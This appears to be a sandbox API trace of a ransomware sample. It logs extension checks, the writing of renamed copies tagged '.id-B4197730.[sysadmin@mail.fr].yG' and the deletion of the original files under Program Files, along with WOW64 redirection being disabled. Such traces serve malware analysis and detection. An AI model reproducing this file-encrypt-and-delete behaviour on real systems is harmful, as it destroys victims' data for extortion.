	[0177.380] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0177.380] lstrlenW (lpString=".ppt") returned 4
	[0177.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0177.380] lstrlenW (lpString=".zip") returned 4
	[0177.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.381] lstrlenW (lpString=".rar") returned 4
	[0177.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.381] lstrlenW (lpString=".bz2") returned 4
	[0177.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.381] lstrlenW (lpString=".7z") returned 3
	[0177.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0177.381] lstrlenW (lpString=".dbf") returned 4
	[0177.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0177.381] lstrlenW (lpString=".1cd") returned 4
	[0177.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0177.381] lstrlenW (lpString=".jpg") returned 4
	[0177.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.382] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=3368) returned 1
	[0177.382] CloseHandle (hObject=0x2a8) returned 1
	[0177.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 0x220
	[0177.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0177.383] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.383] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0177.384] GetLastError () returned 0x0
	[0177.384] ReadFile (in: hFile=0x2a8, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0xd28, lpOverlapped=0x0) returned 1
	[0177.409] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xd30, lpOverlapped=0x0) returned 1
	[0177.410] ReadFile (in: hFile=0x2a8, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.410] WriteFile (in: hFile=0x52c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.410] SetEndOfFile (hFile=0x52c) returned 1
	[0177.410] CloseHandle (hObject=0x52c) returned 1
	[0177.410] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.410] SetEndOfFile (hFile=0x2a8) returned 1
	[0177.417] CloseHandle (hObject=0x2a8) returned 1
	[0177.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 1
	[0177.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0177.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0177.424] lstrlenW (lpString=".doc") returned 4
	[0177.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.424] lstrlenW (lpString=".docx") returned 5
	[0177.424] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0177.424] lstrlenW (lpString=".pdf") returned 4
	[0177.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.424] lstrlenW (lpString=".xls") returned 4
	[0177.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.424] lstrlenW (lpString=".xlsx") returned 5
	[0177.424] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0177.424] lstrlenW (lpString=".ppt") returned 4
	[0177.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0177.424] lstrlenW (lpString=".zip") returned 4
	[0177.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.424] lstrlenW (lpString=".rar") returned 4
	[0177.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.425] lstrlenW (lpString=".bz2") returned 4
	[0177.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.425] lstrlenW (lpString=".7z") returned 3
	[0177.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0177.425] lstrlenW (lpString=".dbf") returned 4
	[0177.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0177.425] lstrlenW (lpString=".1cd") returned 4
	[0177.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0177.425] lstrlenW (lpString=".jpg") returned 4
	[0177.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.672] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=10932) returned 1
	[0177.672] CloseHandle (hObject=0x55c) returned 1
	[0177.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 0x220
	[0177.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0177.996] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.997] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0177.998] GetLastError () returned 0x0
	[0177.999] ReadFile (in: hFile=0x29c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x2ab4, lpOverlapped=0x0) returned 1
	[0178.001] WriteFile (in: hFile=0x33c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x2ac0, lpOverlapped=0x0) returned 1
	[0178.002] ReadFile (in: hFile=0x29c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.002] WriteFile (in: hFile=0x33c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.002] SetEndOfFile (hFile=0x33c) returned 1
	[0178.002] CloseHandle (hObject=0x33c) returned 1
	[0178.002] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.003] SetEndOfFile (hFile=0x29c) returned 1
	[0178.006] CloseHandle (hObject=0x29c) returned 1
	[0178.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0178.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 1
	[0178.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0178.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0178.008] lstrlenW (lpString=".doc") returned 4
	[0178.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.008] lstrlenW (lpString=".docx") returned 5
	[0178.008] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0178.008] lstrlenW (lpString=".pdf") returned 4
	[0178.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.008] lstrlenW (lpString=".xls") returned 4
	[0178.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.008] lstrlenW (lpString=".xlsx") returned 5
	[0178.008] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0178.009] lstrlenW (lpString=".ppt") returned 4
	[0178.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0178.009] lstrlenW (lpString=".zip") returned 4
	[0178.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.009] lstrlenW (lpString=".rar") returned 4
	[0178.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.009] lstrlenW (lpString=".bz2") returned 4
	[0178.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.009] lstrlenW (lpString=".7z") returned 3
	[0178.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0178.009] lstrlenW (lpString=".dbf") returned 4
	[0178.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0178.009] lstrlenW (lpString=".1cd") returned 4
	[0178.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0178.009] lstrlenW (lpString=".jpg") returned 4
	[0178.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596770 | out: hHeap=0x4f0000) returned 1
	[0178.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d030 | out: hHeap=0x4f0000) returned 1
	[0178.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x565ce8 | out: hHeap=0x4f0000) returned 1
	[0178.011] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x59c1d0 | out: hHeap=0x4f0000) returned 1
	[0178.012] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3645020 | out: hHeap=0x4f0000) returned 1
	[0178.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596758 | out: hHeap=0x4f0000) returned 1
	[0178.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x45921d0
	[0178.018] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x45921d0, Size=0x20) returned 0x45b05c0
	[0178.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x45921d0
	[0178.018] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x45921d0, Size=0x20) returned 0x45b05e8
	[0178.018] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.018] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.018] Wow64DisableWow64FsRedirection (in: OldValue=0x2abff50 | out: OldValue=0x2abff50*=0x1) returned 1
	[0178.018] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b05e8 | out: hHeap=0x4f0000) returned 1
	[0178.018] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b05c0 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 42
	os_tid = 0xe1c

	[0132.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5ac8a8
	[0132.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5bc8b0
	[0132.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596788
	[0132.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x54d090
	[0132.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5967a0
	[0132.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x375d020
	[0132.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5967b8
	[0132.661] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5967b8, Size=0x20) returned 0x52db80
	[0132.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5967b8
	[0132.661] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5967b8, Size=0x20) returned 0x52dd10
	[0132.661] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0132.661] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0132.661] Wow64DisableWow64FsRedirection (in: OldValue=0x2bfff50 | out: OldValue=0x2bfff50*=0x0) returned 1
	[0132.661] lstrlenW (lpString="kernel32.dll") returned 12
	[0132.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db80 | out: hHeap=0x4f0000) returned 1
	[0132.661] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0132.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd10 | out: hHeap=0x4f0000) returned 1
	[0132.662] Sleep (dwMilliseconds=0x64) 
	[0133.183] Sleep (dwMilliseconds=0x64) 
	[0133.616] Sleep (dwMilliseconds=0x64) 
	[0133.883] Sleep (dwMilliseconds=0x64) 
	[0134.242] Sleep (dwMilliseconds=0x64) 
	[0134.520] Sleep (dwMilliseconds=0x64) 
	[0134.894] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0134.894] lstrlenW (lpString="Content.xml") returned 11
	[0134.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0134.989] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=27045) returned 1
	[0134.989] CloseHandle (hObject=0x390) returned 1
	[0134.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20
	[0134.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0134.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0134.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0134.989] lstrlenW (lpString=".doc") returned 4
	[0134.990] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0134.990] lstrlenW (lpString=".docx") returned 5
	[0134.990] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0134.990] lstrlenW (lpString=".pdf") returned 4
	[0134.990] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0134.990] lstrlenW (lpString=".xls") returned 4
	[0134.990] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0134.990] lstrlenW (lpString=".xlsx") returned 5
	[0134.990] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0134.990] lstrlenW (lpString=".ppt") returned 4
	[0134.990] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0134.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0134.990] lstrlenW (lpString=".zip") returned 4
	[0134.990] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0134.990] lstrlenW (lpString=".rar") returned 4
	[0134.990] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0134.990] lstrlenW (lpString=".bz2") returned 4
	[0134.990] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0134.990] lstrlenW (lpString=".7z") returned 3
	[0134.990] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0134.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0134.990] lstrlenW (lpString=".dbf") returned 4
	[0134.990] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0134.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0134.990] lstrlenW (lpString=".1cd") returned 4
	[0134.990] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0134.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0134.991] lstrlenW (lpString=".jpg") returned 4
	[0134.991] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0134.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0134.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0134.991] lstrlenW (lpString=".doc") returned 4
	[0134.991] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0134.991] lstrlenW (lpString=".docx") returned 5
	[0134.991] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0134.991] lstrlenW (lpString=".pdf") returned 4
	[0134.991] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0134.991] lstrlenW (lpString=".xls") returned 4
	[0134.991] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0134.991] lstrlenW (lpString=".xlsx") returned 5
	[0134.991] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0134.991] lstrlenW (lpString=".ppt") returned 4
	[0134.991] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0134.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0134.991] lstrlenW (lpString=".zip") returned 4
	[0134.991] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0134.991] lstrlenW (lpString=".rar") returned 4
	[0134.991] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0134.991] lstrlenW (lpString=".bz2") returned 4
	[0134.991] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0134.991] lstrlenW (lpString=".7z") returned 3
	[0134.992] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0134.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0134.992] lstrlenW (lpString=".dbf") returned 4
	[0134.992] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0134.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0134.992] lstrlenW (lpString=".1cd") returned 4
	[0134.992] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0134.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0134.992] lstrlenW (lpString=".jpg") returned 4
	[0134.992] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0134.992] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0134.992] lstrlenW (lpString="boxed-split.avi") returned 15
	[0134.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0134.997] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=84190) returned 1
	[0134.997] CloseHandle (hObject=0x390) returned 1
	[0134.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20
	[0134.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0134.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0134.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0134.998] lstrlenW (lpString=".doc") returned 4
	[0134.998] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0134.998] lstrlenW (lpString=".docx") returned 5
	[0134.998] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0134.998] lstrlenW (lpString=".pdf") returned 4
	[0134.998] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0134.998] lstrlenW (lpString=".xls") returned 4
	[0134.998] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0134.998] lstrlenW (lpString=".xlsx") returned 5
	[0134.998] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0134.998] lstrlenW (lpString=".ppt") returned 4
	[0134.998] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0134.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0134.998] lstrlenW (lpString=".zip") returned 4
	[0134.998] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0134.998] lstrlenW (lpString=".rar") returned 4
	[0134.998] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0134.998] lstrlenW (lpString=".bz2") returned 4
	[0134.999] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0134.999] lstrlenW (lpString=".7z") returned 3
	[0134.999] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0134.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0134.999] lstrlenW (lpString=".dbf") returned 4
	[0134.999] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0134.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
